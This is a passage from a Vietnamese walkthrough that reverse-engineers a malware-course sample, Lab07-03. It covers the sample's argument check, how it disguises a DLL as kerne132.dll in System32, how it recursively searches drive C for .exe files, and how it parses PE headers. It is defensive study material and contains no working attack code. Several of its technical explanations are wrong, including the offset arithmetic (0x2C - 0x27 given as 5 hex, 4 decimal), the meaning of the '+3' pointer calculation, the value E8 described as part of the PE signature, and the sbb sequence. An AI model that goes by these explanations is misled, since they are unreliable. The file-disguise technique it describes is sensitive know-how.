      2. mov esi, offset aWarningThiswil ; “WARNING_THIS_WILL_DESTROY_YOUR_MACHINE”
         Dòng này gán địa chỉ của chuỗi ký tự "WARNING_THIS_WILL_DESTROY_YOUR_MACHINE" vào thanh ghi esi.  

      Nói cách khác, esi sẽ chứa địa chỉ của chuỗi cảnh báo này sau khi thực hiện lệnh.


      Sao chép giá trị của các thanh ghi eax esi lần lượt vào các thanh ghi dl bl để so sánh. Nếu bằng nhau, thực thi lệnh tiếp theo, nếu không thì nhảy đến loc_401488.

      Phân nhánh bằng cách so sánh với chuỗi WARNING_THIS_WILL_DESTROY_YOUR_MACHINE và giá trị tham số để quyết định.



      Trường hợp nếu giá trị đối số không phải là WARNING_THIS_WILL_DESTROY_YOUR_MACHINE

      Khối 1. sbb eax, eax / sbb eax, 0FFFFFFFFh: Thực hiện phép trừ giữa eax eax, kết quả luôn là 0. Sau đó, trừ tiếp giá trị 0FFFFFFFFh (tương đương 1) từ eax. Kết quả cuối cùng là 1.

      Khối 2. test eax, eax / jnz loc_401813: Thực hiện phép AND với giá trị 1, kết quả vẫn là 1. Vì vậy, lệnh nhảy (jnz) sẽ chuyển đến loc_401813.

      Khối 3. Nếu nhảy đến loc_401813, hàm sẽ giải phóng stack và kết thúc.

      Cơ chế này đảm bảo rằng khi tham số được truyền vào nhưng không phải là chuỗi WARNING_THIS_WILL_DESTROY_YOUR_MACHINE, thì hàm sẽ dừng lại và kết thúc.

      3.5.4. Ngụy trang dưới dạng tệp hệ thống 

      Trường hợp nếu giá trị đối số là WARNING_THIS_WILL_DESTROY_YOUR_MACHINE.


      Sử dụng hàm CreateFileA để lấy handle của tệp C:\Windows\System32\Kernel32.dll, sau đó sử dụng CreateFileMappingA để ánh xạ tệp này vào bộ nhớ và tiếp tục dùng MapViewOfFile để ánh xạ đối tượng đã ánh xạ này vào không gian địa chỉ ảo.

      Bên lề:
      Sử dụng CreateFileACreateFileMappingA và MapViewOfFile để mở và ánh xạ hai tệp vào bộ nhớ.
      • Kernel32.dll được mở với quyền truy cập GENERIC_READ (0x80000000) và chia sẻ FILE_SHARE_READ (0x00000001).
      • Lab07-03.dll được mở với quyền truy cập GENERIC_READ | GENERIC_WRITE (0x10000000) và không chia sẻ (0x00000000). Điều này cho thấy chương trình có ý định ghi vào tệp này, mặc dù sau đó nó không thực sự được ghi vào tệp gốc.
      • MapViewOfFile được gọi với FILE_MAP_READ (0x0004) cho Kernel32.dllSECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE (0xF001F) cho Lab07-03.dll. Quyền EXECUTE cho thấy mã độc có thể thực thi mã từ Lab07-03.dll.

      Thực hiện hành động tương tự bằng cách ánh xạ Lab07-03.dll vào bộ nhớ.

      1. CloseHandle: Trả lại handle đã được lấy trước đó để ánh xạ tệp.

      2. push offset NewFileName ; "C:\\windows\\system32\\kerne132.dll": Truyền giá trị tham số là tên tệp mới, cụ thể là kerne132.dll.  

      3. push offset ExistingFileName ; "Lab07-03.dll": Truyền giá trị tham số là tên tệp gốc cần sao chép, cụ thể là Lab07-03.dll.  

      4. call ds:CopyFileA: Sao chép tệp Lab07-03.dll và ngụy trang thành kerne132.dll.  

      5. test eax, eax: Khi hàm CopyFileA được gọi, nếu thất bại, hàm sẽ trả về giá trị 0, giá trị này sẽ được kiểm tra. Nếu thất bại, thực thi mã tiếp theo; nếu thành công, nhảy đến loc_401806.  

      → Ngụy trang tệp Lab07-03.dll thành kerne132.dll.

      3.5.5. Duyệt tất cả các tệp trong ổ C

      Nhảy đến loc_401806 và đẩy C:\\* vào stack. * là ký tự đại diện, được sử dụng để chỉ 'bao gồm tất cả'. Cụ thể, C:\\* có nghĩa là tất cả các tệp trong ổ C.

      Sau khi truyền tham số, gọi hàm sub_4011E0.

      Hàm sub_4010E0 có mã khá phức tạp, thực hiện hành động kiểm tra tệp và thực thi các lệnh khác nhau tùy thuộc vào kết quả kiểm tra.

      Nhấn đúp vào hàm sub_4010E0, IDA Pro sẽ chuyển đến chi tiết hàm này.

      Giá trị C:\\* được lưu vào lpFileName. Truyền giá trị lpFileName làm tham số cho hàm FindFirstFileA, từ đó sẽ tìm kiếm toàn bộ ổ C.

      LPFindFileData là cấu trúc dữ liệu chứa thông tin liên quan đến việc tìm kiếm tệp.


      Sử dụng LPFindFileData để kiểm tra một số thuộc tính của các tệp.

      1. Kiểm tra xem giá trị của dwFileAttributes có phải là 10h (tương đương 16) hay không.

      2. Kiểm tra xem giá trị của cFileName (tên tệp) có phải là “.” hay không.

      3. Kiểm tra xem giá trị của cFileName (tên tệp) có phải là “..” hay không.

      dwFileAttributes đại diện cho thông tin thuộc tính của hệ thống tệp.

      Ở đây, giá trị 16 có nghĩa là thư mục. Nói cách khác, kiểm tra xem tệp này có phải là thư mục hay không.

      File Attribute Constants | learn microsoft


      “.” và “..” đại diện cho thư mục. “.” biểu thị thư mục hiện tại, còn “..” biểu thị thư mục cha.

      Nếu chuyển các lệnh trên thành câu lệnh điều kiện, sẽ có dạng như sau:

      Đặt dấu nhắc lệnh vào vị trí offset asc_403040 và nhấn F5 để chuyển sang chế độ Pseudocode view


      (FindFileData.dwFileAttributes & 0x10) == 0: Nếu là thư mục thì giá trị sẽ là 0.

      !strcmp(FindFileData.cFileName, asc_403040): Nếu tên tệp là asc_403040 (tức là “.”), giá trị trả về sẽ là 1.

      !strcmp(FindFileData.cFileName, asc_40303C): Nếu tên tệp là asc_40303C (tức là “..”), giá trị trả về sẽ là 1.

      Nếu là thư mục con, khối Else sẽ được thực thi. Ngược lại, nếu là thư mục hiện tại, thư mục cha hoặc tệp thông thường, khối If sẽ được thực thi.

      Trường hợp là thư mục con:


      strcat(v5, FindFileData.cFileName);: Thêm tên thư mục con mới vào thư mục hiện tại.

      strcat(v5, asc_403038);: Thêm chuỗi asc_403038 (tức là *) vào sau tên đã nối.

      Kết quả là tạo thành đường dẫn dạng (thư mục hiện tại \ thư mục con mới \*), và đường dẫn này được truyền làm tham số cho sub_4011E0, tức là chính nó.

      Đây chính là một hàm đệ quy.

      Bên lề Tại sao sử dụng \* thay vì \\*

      Nhìn vào đồ thị IDA, chuỗi được hiển thị là \\*. Tuy nhiên, giá trị thực tế được truyền vào là \*. Tại sao lại như vậy?

      Lý do là ký tự \ là một ký tự escape.

      Dấu gạch chéo ngược \ là ký tự escape dùng để biểu thị rằng ký tự tiếp theo là một ký tự đặc biệt. Vì vậy, khi thực thi, nó không được xử lý như một chuỗi thông thường. Nói cách khác, \\* sẽ được hiểu và truyền vào dưới dạng \*.

      Giải thích bổ sung về hàm đệ quy trong Lab07-03.exe:


      Tại vị trí của hàm sub_4011E0 nhấn F5 để chuyển sang chế độ Pseudocode view


      Trong quá trình tìm kiếm, mỗi khi truy cập vào một thư mục con, hàm đệ quy sẽ được kích hoạt. Sau khi duyệt qua toàn bộ các tệp trong thư mục con nhờ vào lời gọi đệ quy và không còn tệp nào cần xử lý, hàm sẽ giải phóng handle bằng cách sử dụng FindClose. Kết thúc quá trình này, hàm sẽ quay trở lại thư mục cha, nơi lời gọi đệ quy ban đầu được thực hiện, và tiếp tục tìm kiếm các tệp còn lại.


      Hình trên là ví dụ minh họa cách một hàm đệ quy xử lý từng thư mục và quay lại để tiếp tục duyệt các thư mục khác, quản lý các handle (tham chiếu) tương ứng trong suốt quá trình.

      1Handle của thư mục gốc (Handle 1)
         - Đây là handle của thư mục gốc mà hàm đệ quy bắt đầu duyệt. 

      2Chuyển sang thư mục con (Handle 2):

         - Khi duyệt đến thư mục con 2, một handle mới được tạo ra để quản lý thư mục này.
         - Sau khi duyệt hết tất cả các tệp và thư mục con bên trong thư mục 2, handle của thư mục 2 sẽ được đóng lại (Close Handle).

      3Quay lại thư mục gốc và tiếp tục với thư mục con khác (Handle 3):

         - Sau khi xử lý xong thư mục 2, chương trình quay lại thư mục gốc và chuyển sang thư mục con tiếp theo (ở đây là thư mục 3).
         - Một handle mới được tạo ra cho thư mục 3, tiếp tục quá trình duyệt.

      4. Quy trình đệ quy:

         - Quy trình này tiếp tục lặp lại cho tất cả các thư mục con, quay lại thư mục cha sau khi hoàn tất xử lý thư mục con.
         - Khi không còn thư mục con nào nữa, các handle cuối cùng sẽ được đóng lại, và đệ quy kết thúc.

      Khi hàm đệ quy trả về, mã lệnh sẽ tiếp tục thực thi từ phần tiếp theo của đoạn đã gọi hàm, tất nhiên vẫn tuân theo các quy tắc của câu lệnh if hoặc vòng lặp while.

      Trường hợp là một tập tin hoặc thư mục hiện tại hoặc thư mục cha:


      if ( !stricmp((const char *)&FindFileData.dwReserved0 + v6 + 3, aExe) ): So sánh để kiểm tra xem phần mở rộng của tệp có phải là .exe hay không.

      Ý nghĩa của FindFileData.dwReserved0 + v6 + 3:


      Đặt dấu nhắc lệnh tại vị trí của dwReserved0 và nhấn đúp, IDA Pro sẽ chuyển đến Tab Local Types hiển thị chi tiết về dwReserved0


      1. dwReserved0dwReserved1 là các trường được dành sẵn để sử dụng sau này. Vị trí của các trường này nằm cách cFileName 4 byte.

      Bên lề: Giải thích về khoảng cách 4 byte giữa dwReserved0 và cFileName

      Cấu trúc _WIN32_FIND_DATAA được sử dụng để lưu trữ thông tin về một tệp được tìm thấy bởi các hàm như FindFirstFileAFindNextFileA. Dưới đây là cấu trúc (đã được đơn giản hóa):

      C
      
      typedef struct _WIN32_FIND_DATAA {
        DWORD    dwFileAttributes;       // Offset 0x00 (4 bytes)
        FILETIME ftCreationTime;       // Offset 0x04 (8 bytes)
        FILETIME ftLastAccessTime;     // Offset 0x0C (8 bytes)
        FILETIME ftLastWriteTime;      // Offset 0x14 (8 bytes)
        DWORD    nFileSizeHigh;        // Offset 0x1C (4 bytes)
        DWORD    nFileSizeLow;         // Offset 0x20 (4 bytes)
        DWORD    dwReserved0;         // Offset 0x24 (4 bytes)
        DWORD    dwReserved1;         // Offset 0x28 (4 bytes)
        CHAR     cFileName[MAX_PATH];   // Offset 0x2C (260 bytes)
        CHAR     cAlternateFileName[14]; // Offset 0x130 (14 bytes)
      } WIN32_FIND_DATAA, *PWIN32_FIND_DATAA;

      Phân tích offset và kích thước:

      • Các trường từ dwFileAttributes đến nFileSizeLow đã chiếm một tổng cộng 4 + 8 + 8 + 8 + 4 + 4 = 36 bytes (0x24 trong hệ thập lục phân).
      • dwReserved0 là một DWORD (Double Word), có kích thước 4 byte. Vì vậy, nó bắt đầu ở offset 0x24 và kết thúc ở offset 0x27.
      • dwReserved1 cũng là một DWORD (4 byte). Nó bắt đầu ngay sau dwReserved0, tức là ở offset 0x28 và kết thúc ở offset 0x2B.
      • cFileName là một mảng ký tự CHAR[260]. CHAR thường có kích thước 1 byte. Vì vậy, cFileName chiếm 260 byte. Nó bắt đầu ngay sau dwReserved1, tức là ở offset 0x2C.

      Khoảng cách 4 byte:

      Như bạn thấy, dwReserved0 kết thúc ở offset 0x27, và cFileName bắt đầu ở offset 0x2C. Vậy khoảng cách giữa chúng là 0x2C - 0x27 = 5 (theo hệ thập lục phân) = 4 (theo hệ thập phân).


      2. V6 = strlen(FindFileData.cFileName) + 1;: Đây là độ dài của tên tệp cộng thêm 1.

      3. +3 = Thêm 3 byte nữa.

      Nói cách khác, khi lấy vị trí của dwReserved0 (ở địa chỉ 24) cộng thêm 4, rồi cộng thêm độ dài của tên tệp, kết quả sẽ trỏ đến phần mở rộng tệp (chỉ phần mở rộng còn lại).


      Bên lề:

      Đoạn mã FindFileData.dwReserved0 + v6 + 3 được sử dụng để tính địa chỉ trong bộ nhớ, cụ thể là phần mở rộng (extension) của tên tệp trong cấu trúc dữ liệu FindFileData. Hãy giải thích chi tiết từng phần:

      1. FindFileData.dwReserved0

         Đây là một trường trong cấu trúc FindFileData, chứa thông tin dự trữ. 
      •    Trường này nằm ở một vị trí cố định trong bộ nhớ và thường được sử dụng như một con trỏ hoặc để lưu trữ thông tin bổ sung.  
      •    Trong trường hợp này, nó được dùng làm cơ sở để tính toán vị trí của phần mở rộng tệp.
      2. + v6:  
      •    v6 là độ dài của tên tệp (strlen(FindFileData.cFileName) + 1). 
      •    Cụ thể:  
        •      strlen(FindFileData.cFileName) tính độ dài chuỗi tên tệp (ví dụ: "Lab07-03" có độ dài là 8).  
        •      +1 để bao gồm ký tự kết thúc chuỗi (null terminator).  
      •    Do đó, FindFileData.dwReserved0 + v6 đưa con trỏ đến vị trí ngay sau tên tệp.
      3. + 3:  
      •   Sau khi đã đến vị trí sau tên tệp, +3 được thêm vào để bỏ qua một số byte không cần thiết hoặc để đến vị trí chính xác của phần mở rộng tệp. 
      •   Điều này thường cần thiết khi có các khoảng trống hoặc dữ liệu phụ trợ nằm giữa tên tệp và phần mở rộng.
      Ứng dụng:

      Đoạn mã này thường được dùng để kiểm tra phần mở rộng của tệp. Ví dụ:
      • So sánh với ".exe" để xác định đó có phải tệp thực thi hay không.
      • Thực hiện các thao tác khác với phần mở rộng.

      3.5.6. Kiểm tra Header NT - Đây có phải là tệp PE không?

      Để đến vị trí của hàm sub_44011E0 trong IDA Pro, hãy nhấp đúp vào tên hàm đó.


      Nếu phần mở rộng của tệp là .exe, tên tệp sẽ được truyền làm đối số và gọi hàm sub_4010A0.

      Quá trình xử lý tệp diễn ra theo các bước sau:

      1. Mở tệp (CreateFileA): Tệp được mở với các tham số sau:

      • Quyền truy cập: Chỉ đọc (GENERIC_READ).
      • Chế độ chia sẻ: Cho phép các tiến trình khác đọc tệp đồng thời (FILE_SHARE_READ).
      • Cách mở: Chỉ mở nếu tệp đã tồn tại (OPEN_EXISTING). Nếu tệp không tồn tại, hàm sẽ báo lỗi.
      • Đường dẫn tệp: Được lưu trữ tại địa chỉ mà thanh ghi eax chứa. Hàm CreateFileA trả về một handle (một số định danh đại diện cho tệp) được lưu trong eax. Nếu có lỗi (ví dụ: tệp không tồn tại), eax sẽ chứa giá trị INVALID_HANDLE_VALUE (-1).
      Đọc thêm về hàm CreateFileA tại đây

      2. Tạo đối tượng ánh xạ tệp (CreateFileMappingA): Một đối tượng ánh xạ tệp được tạo ra để quản lý việc ánh xạ tệp vào bộ nhớ. Các tham số chính:

      • Kích thước tối đa của ánh xạ: 4GB (được xác định bởi dwMaximumSizeHigh là 4 và dwMaximumSizeLow là 0).
      • Bảo vệ bộ nhớ: Chỉ đọc (PAGE_READONLY).
      • Handle của tệp: Được lấy từ kết quả của CreateFileA (giá trị trong eax). Hàm CreateFileMappingA trả về một handle cho đối tượng ánh xạ tệp, cũng được lưu trong eax.
      Đọc thêm về hàm CreateFileMappingA tại đây:

      3. Ánh xạ view của tệp vào bộ nhớ (MapViewOfFile): Một "view" (vùng nhớ) của tệp được ánh xạ vào không gian địa chỉ của tiến trình. Các tham số quan trọng:

      • Offset bắt đầu ánh xạ trong tệp: 0F001F0000h. Đây là một offset rất lớn (gần 4GB) và khá bất thường. Nó cho thấy chương trình có thể chỉ muốn truy cập một phần cuối của tệp hoặc sử dụng một kỹ thuật đặc biệt.
      • Kích thước ánh xạ: Vì tham số dwNumberOfBytesToMap 0, hệ thống sẽ ánh xạ toàn bộ tệp (tối đa 4GB như đã đặt ở bước 2) từ offset đã chỉ định.
      • Quyền truy cập: Do CreateFileMappingA đã đặt bảo vệ PAGE_READONLY, view này cũng sẽ chỉ đọc.
      • Handle của đối tượng ánh xạ tệp: Được lấy từ kết quả của CreateFileMappingA (giá trị trong eax). Hàm MapViewOfFile trả về địa chỉ bắt đầu của view được ánh xạ trong eax. Nếu có lỗi, hàm sẽ trả về NULL.
      Đọc thêm về hàm MapViewOfFile tại đây:

      4. Lưu địa chỉ view và xử lý tiếp: Địa chỉ bắt đầu của view được ánh xạ (trong eax) được sao chép vào thanh ghi esi. esi sau đó thường được sử dụng như một con trỏ để truy cập và xử lý dữ liệu trong vùng nhớ đã được ánh xạ.

      Đoạn mã trong hình trên thực hiện các bước sau khi gọi MapViewOfFile:

      Kiểm tra xem MapViewOfFile có thành công hay không bằng cách kiểm tra giá trị trả về trong esi. Nếu thất bại (trả về NULL), chương trình nhảy đến loc_4011D5 để xử lý lỗi.

      Nếu MapViewOfFile thành công, chương trình kiểm tra xem vùng nhớ được ánh xạ có chứa một file PE hợp lệ hay không bằng cách kiểm tra địa chỉ của IMAGE_NT_HEADERS bằng hàm IsBadReadPtr. Nếu địa chỉ không hợp lệ, chương trình cũng nhảy đến loc_4011D5.

      Bên lề:

      Vùng nhớ được ánh xạ là một cơ chế ánh xạ một phần của tệp hoặc đối tượng khác vào bộ nhớ, cho phép đọc và ghi nội dung của tệp trực tiếp từ bộ nhớ. Trong PEView, giá trị ImageBase là địa chỉ bắt đầu của vùng nhìn được ánh xạ này.

      1. Vùng nhớ được ánh xạ

      Giải thích

      Vùng nhớ được ánh xạ là một khu vực trong bộ nhớ ảo mà một file, thường là file thực thi hoặc thư viện, được ánh xạ (mapped) vào. Điều này giúp hệ điều hành (HĐH) nạp và quản lý file một cách hiệu quả.

      Khi một file thực thi (.exe) hoặc thư viện (.dll) được tải, HĐH sử dụng cơ chế ánh xạ bộ nhớ để đặt file đó vào không gian địa chỉ ảo của tiến trình. Trong trường hợp mã độc, các vùng nhớ được ánh xạ có thể được sử dụng để:

      • Thực thi mã độc (nạp payload vào vùng nhớ và chạy).
      • Che giấu mã độc (ẩn mã trong bộ nhớ và không cần file trên đĩa).
      • Tương tác với hệ thống mà không cần ghi vào ổ đĩa (tránh để lại dấu vết).

      Cách hoạt động

      • Hệ điều hành sử dụng các bảng trang (page table) để ánh xạ các trang bộ nhớ ảo đến các trang vật lý hoặc dữ liệu từ file trên đĩa.
      • Khi cần đọc/ghi một file, vùng nhớ ánh xạ sẽ tải dữ liệu từ file trực tiếp vào bộ nhớ và ngược lại.

      Ví dụ thực tế

      Một mã độc có thể:

      1. Sử dụng CreateFileMapping và MapViewOfFile trên Windows để ánh xạ một file độc hại vào bộ nhớ.
      2. Thay đổi nội dung file trong bộ nhớ trước khi thực thi (như sửa đổi mã hoặc nhúng shellcode).
      3. Xóa file trên đĩa nhưng vẫn tiếp tục thực thi từ bộ nhớ.

      Mã giả minh họa:

      HANDLE hFile = CreateFile(L"malicious.exe", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
      
      HANDLE hMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
      
      LPVOID lpBase = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);

      Mã trên nạp file malicious.exe vào vùng nhớ, từ đó mã độc có thể thực thi hoặc thao tác.

      2. ImageBase

      Giải thích

      ImageBase là địa chỉ cơ sở trong bộ nhớ mà file thực thi hoặc thư viện được tải vào. Đây là một phần của định dạng file thực thi (PE - Portable Executable trên Windows) và được lưu trong Optional Header.

      • ImageBase là điểm bắt đầu cho các địa chỉ tương đối (RVA - Relative Virtual Address) trong file thực thi.
      • Khi phân tích mã độc, giá trị ImageBase rất quan trọng để:
        • Tái cấu trúc hoặc khôi phục mã nguồn.
        • Phân tích địa chỉ của các hàm hoặc mã độc.

      Cách hoạt động

      • Nếu ImageBase đã được HĐH cấp phát trong vùng nhớ, file được tải vào đúng địa chỉ đó.
      • Nếu địa chỉ không khả dụng (do xung đột bộ nhớ), HĐH sẽ tái định vị file thực thi đến địa chỉ khác, cập nhật lại các địa chỉ liên quan (process relocation).

      Ví dụ thực tế

      Một file PE với ImageBase mặc định là 0x400000. Nếu file này được tải vào bộ nhớ:

      • Entry Point = ImageBase + AddressOfEntryPoint (ví dụ: 0x400000 + 0x1000).
      • Nếu mã độc sửa đổi hoặc sử dụng giá trị này để che giấu hàm hoặc shellcode, việc phát hiện trở nên phức tạp.

      Mã độc lợi dụng ImageBase:

      • Mã độc có thể thay đổi ImageBase để ngăn cản kỹ thuật phân tích tĩnh.
      • Sử dụng VirtualAlloc để ánh xạ mã độc vào vùng nhớ giả mạo ImageBase.

      Phân tích kết hợp:

      1. Memory-Mapped Region và ImageBase liên quan thế nào?
        • Khi file PE được ánh xạ vào bộ nhớ, vùng nhớ bắt đầu từ ImageBase.
        • Việc ánh xạ cho phép mã độc thực thi hoặc nạp payload từ bộ nhớ thay vì ổ đĩa.
      2. Tình huống thực tế:
        • Một file độc hại nạp vào địa chỉ 0x70000000 (thay vì 0x400000 mặc định) để đánh lạc hướng công cụ phân tích.
        • Sử dụng kỹ thuật nạp PE trong bộ nhớ (Reflective DLL Injection) để thực thi từ vùng nhớ mà không cần ghi lên ổ đĩa.

      Mở Lab07-03.exe bằng PEView, nhìn vào vị trí đóng khung đỏ ở hình dưới đây.

      Image Base00400000. Vì vậy, địa chỉ của esi đáng lẽ phải là 00400000, nhưng do địa chỉ ánh xạ được sử dụng khi chương trình chạy, trong quá trình phân tích tĩnh hiện tại, để thuận tiện, địa chỉ bắt đầu được đặt là 00000000.

      • mov esi, eax: Lưu giá trị 00000000 vào thanh ghi esi.
      • mov ebp, [esi+3ch]: Cộng giá trị 3ch (tức là 0x3C hoặc 60 trong hệ thập phân) vào esi và lưu giá trị tại địa chỉ đó vào thanh ghi ebp.

      Cùng kiểm tra trong PEView để đối chiếu.

      Giá trị của esi 00000000, vì vậy esi + 3ch = 0000003c.

      Như đã thực hành trong Lab07-02, dấu ngoặc vuông [] trong mã assembly sẽ lấy giá trị mà địa chỉ bên trong ngoặc vuông trỏ tới.

      Do đó, giá trị của [esi+3ch] là giá trị tại địa chỉ 0000003C, cụ thể là E8. Giá trị E8 này được lưu vào thanh ghi ebp.

      Lưu ý: E8 nằm ở offset 0x3C (tức là byte thứ 60 theo hệ thập lục phân) trong header của một tệp PE (Portable Executable - định dạng tệp thực thi của Windows). Giá trị E8 ở vị trí này biểu diễn một phần của PE signature, cụ thể hơn là nó thuộc về PE header signature)

      Bên lề: Giải thích về ImageBase trong phân tích mã độc

      ImageBase trong mã độc (và nói chung trong các file thực thi PE - Portable Executable) là địa chỉ cơ sở (base address) nơi file thực thi hoặc thư viện được nạp vào bộ nhớ. Đây là một phần quan trọng của kiến trúc file PE trên hệ điều hành Windows.

      Chi tiết về ImageBase:

      1. Khái niệm ImageBase:
        • Khi một file thực thi (hoặc thư viện .DLL) được tải vào bộ nhớ, hệ điều hành cần một địa chỉ khởi đầu để ánh xạ (map) nội dung của file vào bộ nhớ ảo. Địa chỉ khởi đầu này được gọi là ImageBase.
        • ImageBase là một giá trị được chỉ định trong PE Header (cụ thể trong Optional Header của file PE). Giá trị này là nơi mà tác giả của chương trình dự kiến file sẽ được nạp.
      2. Mục đích của ImageBase:
        • Truy cập dữ liệu dễ dàng: Các địa chỉ bên trong chương trình (bao gồm code, dữ liệu, hàm API, v.v.) thường được tính toán dựa trên ImageBase. Điều này giúp chương trình truy cập chính xác các phần khác nhau trong bộ nhớ.
        • Hỗ trợ liên kết (linking): Tại thời điểm biên dịch, trình liên kết (linker) sẽ sử dụng ImageBase để tính toán địa chỉ ảo của các phần tử trong chương trình.
      3. Địa chỉ ImageBase mặc định:
        • Đối với file thực thi (.exe): Thường mặc định là 0x400000 (4 MB).
        • Đối với thư viện liên kết động (.dll): Thường mặc định là 0x10000000 (256 MB).
      4. ImageBase trong mã độc:
        • Mã độc thường tận dụng ImageBase để thực hiện các thao tác như trích xuất API, thay đổi bộ nhớ, hoặc tính toán các địa chỉ nhảy (jump address) bên trong chương trình.
        • Một số mã độc có thể thay đổi ImageBase để gây khó khăn trong việc phân tích (anti-debugging). Khi ImageBase bị thay đổi, các công cụ phân tích tĩnh như IDA Pro hoặc OllyDbg phải tái tính toán các địa chỉ.
      5. Relocation (Tái định vị):
        • Nếu ImageBase được chỉ định đã được một chương trình khác sử dụng, Windows sẽ phải tái định vị (relocate) file thực thi đến một vị trí khác. Điều này xảy ra thông qua bảng Relocation Table trong file PE.
        • Một số mã độc tinh vi có thể lợi dụng quá trình này để tránh bị phát hiện hoặc để thực hiện các hành vi khó lường.

      IsBadReadPtr: Kiểm tra xem một khối bộ nhớ có quyền đọc hay không. Nếu có quyền đọc, giá trị trả về sẽ là "0".

      C++:
      
      BOOL IsBadReadPtr(
        [in] const VOID *lp,
        [in] UINT_PTR   ucb
      );
      • lp: Là con trỏ đến byte đầu tiên của khối bộ nhớ.

      • ucb: Là kích thước của khối bộ nhớ.

      • add ebp, esi: Giá trị của ebp (E8) được cộng với giá trị của esi (00000000), và kết quả 000000E8 được lưu lại.

      • push 4: Truyền giá trị 4 byte làm tham số.

      • push ebp: Truyền giá trị 000000E8 làm tham số.

      Kiểm tra xem khối bộ nhớ có kích thước 4 byte, bắt đầu từ địa chỉ 000000E8, có quyền đọc hay không.


      Khi gọi IsBadReadPtr, nó sẽ so sánh chuỗi 4 byte bắt đầu từ vị trí E8 với giá trị như 4550h.


      Nhấn phải chuột tại vị trí 4550h, IDA Pro sẽ cho biết đó là ký tự EP như đóng khung xanh trong hình ở trên. Tuy nhiên, do giá trị HEX được lưu trữ theo thứ tự ngược, nên thực tế giá trị này là PE.

      Tóm lại, quá trình này sử dụng hàm IsBadReadPtr để kiểm tra NT header của tệp nhằm xác định xem đó có phải là tệp PE (Portable Executable) hay không.

      3.5.7. Gọi hàm sub_401040

      Nếu xác định là tệp PE, đoạn mã tiếp theo sẽ được thực thi.

      mov ecx, [ebp + 80h]: Giá trị ebp đang trỏ đến là E8, khi cộng thêm 80h (hệ 16), kết quả là 168. Giá trị mà địa chỉ 168 trỏ đến sẽ được sao chép vào ecx.

      Theo ngữ cảnh, địa chỉ này dường như cũng là một phần nào đó của tệp PE. Tôi đã kiểm tra lại bằng PEview.

      RVA (Relative Virtual Address) là giá trị biểu thị độ lệch tương đối so với địa chỉ trong bộ nhớ ảo.

      Địa chỉ 168 được xác định là địa chỉ bắt đầu của IMPORT Table. Giá trị tại đó, 207C, sẽ được gán vào ecx.

      Bây giờ, khi tất cả các tham số đã được chuẩn bị, đến lượt gọi hàm sub_401040.

      Các tham số truyền vào hàm sub_401040 là:

      • esi = 00000000 (địa chỉ bắt đầu của tệp),
      • ebp = E8 (địa chỉ bắt đầu của NT header),
      • ecx = 207C (giá trị RVA của IMPORT Table).

      arg_0 = dword ptr 4 = ecx = 207C (giá trị RVA của IMPORT Table)

      arg_4 = dword ptr 8 = ebp = E8 (địa chỉ bắt đầu của NT header)

      arg_8 = dword ptr 0Ch = esi = 00000000 (địa chỉ bắt đầu của tệp)

      (Các tham số được truyền ngược thứ tự và lưu vào biến theo thứ tự ngược lại).

      Hàm sub_401040 được gọi và sau đó tiếp tục gọi một hàm khác.

      1. mov eax, [esp+arg_4]: Sao chép giá trị E8 (địa chỉ bắt đầu của NT header) vào eax.

        • Lý do biến cộng với esp trỏ đến giá trị của biến là để truy xuất giá trị được lưu tại địa chỉ đó.
      2. push esi: Sao lưu giá trị hiện tại của esi bằng cách đẩy nó vào stack.

      3. mov esi, [esp+4+arg_0]: Sao chép giá trị 207C (giá trị RVA của IMPORT Table) vào esi.

      4. push eax: Truyền giá trị tham số E8.

      5. push esi: Truyền giá trị tham số 207C.

      6. call sub_401000: Gọi hàm sub_401000.

      3.5.8. Gọi hàm sub_401000

      arg_0 = dword ptr 4 = ecx = 207C (giá trị RVA của IMPORT Table)

      arg_4 = dword ptr 8 = ebp = E8 (địa chỉ bắt đầu của NT header)

      1. mov edx, [esp+arg_4]: Sao chép giá trị E8 (địa chỉ bắt đầu của NT header) vào thanh ghi edx.

      2. xor eax, eax / xor ecx, ecx: Đặt giá trị của thanh ghi eax ecx thành 0 (xóa giá trị hiện tại).

      3. push ebx: Đẩy giá trị của thanh ghi ebx vào stack (lưu giá trị hiện tại của ebx).

      4. mov ax, [edx+14h]: Lấy nội dung tại địa chỉ E8 + 14h (địa chỉ FC) và sao chép nó vào thanh ghi ax.

      Bên lề:

      AX EAX thực chất là một phần của cùng một thanh ghi.
      EAX là viết tắt của "expand AX", một thanh ghi có kích thước 32 bit. AX đại diện cho phần 16 bit thấp hơn của EAX.

      Lý do cho cách ký hiệu này là vì trước đây, các thanh ghi 16 bit là đủ. Tuy nhiên, với sự phát triển của CPU, nhu cầu về các thanh ghi 32 bit đã xuất hiện. Hiện nay, trên các CPU 64 bit, thanh ghi RAX (mở rộng từ EAX) có kích thước 64 bit được sử dụng.


      Do đó, AX = E0 (và EAX = E0).

      Vị trí FC chỉ đến Size of Optional Header.

      1. mov cx, [edx+6]: Lấy nội dung tại vị trí E8 + 6 (tức là EE) và sao chép vào thanh ghi cx.

      CX = 03 (ecx = 03).

      Vị trí EE chỉ đến Number of sections (số lượng các section).

      1. push esi / xor esi, esi: Sao lưu giá trị của esi và sau đó đặt esi thành 0.

      2. test ecx, ecx: Kiểm tra giá trị của ecx. Vì ecx hiện tại không bằng 0, nên ZF (Flag Zero) sẽ không được thiết lập.

      3. push edi: Đẩy giá trị của edi vào stack.

      4. lea eax, [eax+edx+18h]: Tính toán E0 + E8 + 18h = 1E0 và lưu kết quả vào eax.

      1E0 là điểm bắt đầu của section header đầu tiên.

      Bên lề: Gải thích thêm về lênh Lea

      Lệnh Lea lấy địa chỉ nằm trong dấu ngoặc vuông, trong khi lệnh mov lấy giá trị mà địa chỉ trong dấu ngoặc vuông chỉ đến.

      Lệnh LEA và cách hoạt động

      Lệnh LEA (Load Effective Address) trong hợp ngữ được sử dụng để lấy địa chỉ hiệu dụng (effective address) của một toán hạng (operand). Đây là một lệnh đặc biệt, vì thay vì làm việc trực tiếp với dữ liệu tại địa chỉ bộ nhớ, nó lấy chính địa chỉ đó và lưu vào thanh ghi.

      • Địa chỉ hiệu dụng là địa chỉ được tính toán bởi CPU dựa trên các toán hạng được cung cấp, thường liên quan đến các biểu thức địa chỉ trong dấu ngoặc vuông [ ].

      Cú pháp lệnh LEA:

      LEA destination, source
